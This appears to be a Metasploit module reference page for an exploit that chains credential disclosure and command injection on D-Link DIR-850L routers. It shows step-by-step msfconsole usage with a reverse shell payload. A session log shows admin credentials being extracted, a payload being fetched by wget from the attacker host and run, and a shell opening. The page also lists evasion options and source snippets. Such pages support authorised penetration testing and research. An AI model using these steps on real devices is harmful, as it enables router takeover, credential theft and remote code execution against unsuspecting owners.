DIR-850L (Un)authenticated OS Command Exec - Metasploit
This page contains detailed information about how to use the exploit/linux/http/dlink_dir850l_unauth_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: DIR-850L (Un)authenticated OS Command Exec
Module: exploit/linux/http/dlink_dir850l_unauth_exec
Source code: modules/exploits/linux/http/dlink_dir850l_unauth_exec.rb
Disclosure date: 2017-08-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): mipsbe
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands on DIR-850L routers as an authenticated user. Unable to use Meterpreter payloads.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
msf exploit(dlink_dir850l_unauth_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands via an authenticated OS command injection
vulnerability. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
are potentially vulnerable. The vulnerability seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be reboot
will force the router into an infinite loop.
Vulnerable Application
- Start msfconsole
- Do :
use exploit/linux/http/dlink_dir850l_unauth_exec.rb
- Do :
set RHOST [RouterIP]
- Do :
set PAYLOAD linux/mipsbe/shell/reverse_tcp
- Do :
run
- If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
Example
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
msf exploit(dlink_dir850l_unauth_exec) > set RHOST 192.168.0.14
RHOST => 192.168.0.14
msf exploit(dlink_dir850l_unauth_exec) > set RPORT 80
RPORT => 80
msf exploit(dlink_dir850l_unauth_exec) > check
[*] 192.168.0.14:80 The target service is running, but could not be validated.
msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
VERBOSE => true
msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
LHOST => ens3
msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
LPORT => 3131
msf exploit(dlink_dir850l_unauth_exec) > run
[*] Started reverse TCP handler on 192.168.0.11:3131
[*] 192.168.0.14:80 - Connecting to target...
[+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
[+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
[*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
[*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
[*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
[*] 192.168.0.14:80 - Sending payload to the server...
[*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
[*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
[*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
[*] Sending stage (84 bytes) to 192.168.0.14
[*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
[+] Deleted /tmp/uoskutcy
[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
[*] Server stopped.
[*] Exploit completed, but no session was created.
msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
[*] Starting interaction with 1...
190745749
wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
true
pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
pwd
/
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Msfconsole Usage
Here is how the linux/http/dlink_dir850l_unauth_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/dlink_dir850l_unauth_exec
[*] Using configured payload linux/mipsbe/shell/reverse_tcp
msf6 exploit(linux/http/dlink_dir850l_unauth_exec) > show info
Name: DIR-850L (Un)authenticated OS Command Exec
Module: exploit/linux/http/dlink_dir850l_unauth_exec
Platform: Linux
Arch: mipsbe
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-08-09
Provided by:
Mumbai
Zdenda
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module leverages an unauthenticated credential disclosure
vulnerability to then execute arbitrary commands on DIR-850L routers
as an authenticated user. Unable to use Meterpreter payloads.
References:
https://www.seebug.org/vuldb/ssvid-96333
https://blogs.securiteam.com/index.php/archives/3310
Module Options
This is a complete list of options available in the linux/http/dlink_dir850l_unauth_exec exploit:
msf6 exploit(linux/http/dlink_dir850l_unauth_exec) > show options
Module options (exploit/linux/http/dlink_dir850l_unauth_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/mipsbe/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/dlink_dir850l_unauth_exec exploit:
msf6 exploit(linux/http/dlink_dir850l_unauth_exec) > show advanced
Module advanced options (exploit/linux/http/dlink_dir850l_unauth_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/mipsbe/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/dlink_dir850l_unauth_exec module can exploit:
msf6 exploit(linux/http/dlink_dir850l_unauth_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/dlink_dir850l_unauth_exec exploit:
msf6 exploit(linux/http/dlink_dir850l_unauth_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/mipsbe/exec normal No Linux Execute Command
4 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
5 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
6 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
7 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
8 payload/linux/mipsbe/reboot normal No Linux Reboot
9 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
11 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/dlink_dir850l_unauth_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/dlink_dir850l_unauth_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Credentials could not be obtained
Here is a relevant code snippet related to the "<PEER> - Credentials could not be obtained" error message:
122: vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
123: loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
124: print_good("#{peer} - Downloaded credentials to #{loot}")
125: return username, password
126: else
127: fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
128: end
129: rescue ::Rex::ConnectionError
130: fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
131: end
132: end
<PEER> - Unable to connect to target.
Here is a relevant code snippet related to the "<PEER> - Unable to connect to target." error message:
125: return username, password
126: else
127: fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
128: end
129: rescue ::Rex::ConnectionError
130: fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
131: end
132: end
133:
134: def retrieve_uid
135: begin
<PEER> - Unable to connect to target.
Here is a relevant code snippet related to the "<PEER> - Unable to connect to target." error message:
140: parse = res.get_json_document
141: uid = parse['uid']
142: challenge = parse['challenge']
143: return uid, challenge
144: rescue ::Rex::ConnectionError
145: fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
146: end
147: end
148:
149: def login(username, password)
150: uid, challenge = retrieve_uid
<PEER> - Unable to connect to target.
Here is a relevant code snippet related to the "<PEER> - Unable to connect to target." error message:
156: 'data' => "id=#{username}&password=#{hash}",
157: 'cookie' => "uid=#{uid}"
158: })
159: return uid
160: rescue ::Rex::ConnectionError
161: fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
162: end
163: end
164:
165: def execute_command(cmd, opts)
166: uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
<PEER> - Unable to connect to target.
Here is a relevant code snippet related to the "<PEER> - Unable to connect to target." error message:
205: 'data' => 'ACTIONS=SETCFG,ACTIVATE',
206: 'cookie' => "uid=#{uid}"
207: })
208: return res
209: rescue ::Rex::ConnectionError
210: fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
211: end
212: end
213:
214:
215: def exploit
<PEER> - Failed to access vulnerable url
Here is a relevant code snippet related to the "<PEER> - Failed to access vulnerable url" error message:
214:
215: def exploit
216: print_status("#{peer} - Connecting to target...")
217:
218: unless check == Exploit::CheckCode::Detected
219: fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
220: end
221: #
222: # Information Retrieval, obtains creds and logs in
223: #
224: @username, @password = retrieve_creds
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Related Pull Requests
References
- CVE: Not available
- https://www.seebug.org/vuldb/ssvid-96333
- https://blogs.securiteam.com/index.php/archives/3310
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/dlink_dir_300_600_exec_noauth
- auxiliary/admin/http/dlink_dsl320b_password_extractor
- auxiliary/admin/vxworks/dlink_i2eye_autoanswer
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/http/dlink_user_agent_backdoor
- auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
- exploit/linux/http/dlink_authentication_cgi_bof
- exploit/linux/http/dlink_command_php_exec_noauth
- exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution
- exploit/linux/http/dlink_dcs931l_upload
- exploit/linux/http/dlink_diagnostic_exec_noauth
- exploit/linux/http/dlink_dir300_exec_telnet
- exploit/linux/http/dlink_dir605l_captcha_bof
- exploit/linux/http/dlink_dir615_up_exec
- exploit/linux/http/dlink_dsl2750b_exec_noauth
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
- exploit/linux/http/dlink_dspw215_info_cgi_bof
- exploit/linux/http/dlink_dwl_2600_command_injection
- exploit/linux/http/dlink_hedwig_cgi_bof
- exploit/linux/http/dlink_hnap_bof
- exploit/linux/http/dlink_hnap_header_exec_noauth
- exploit/linux/http/dlink_hnap_login_bof
- exploit/linux/http/dlink_upnp_exec_noauth
- exploit/linux/upnp/dlink_dir859_exec_ssdpcgi
- exploit/linux/upnp/dlink_dir859_subscribe_exec
- exploit/linux/upnp/dlink_upnp_msearch_exec
- exploit/windows/http/dlink_central_wifimanager_rce
- exploit/windows/tftp/dlink_long_filename
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/zyxel_admin_password_extractor
- auxiliary/gather/memcached_extractor
- auxiliary/gather/redis_extractor
Authors
- Mumbai
- Zdenda
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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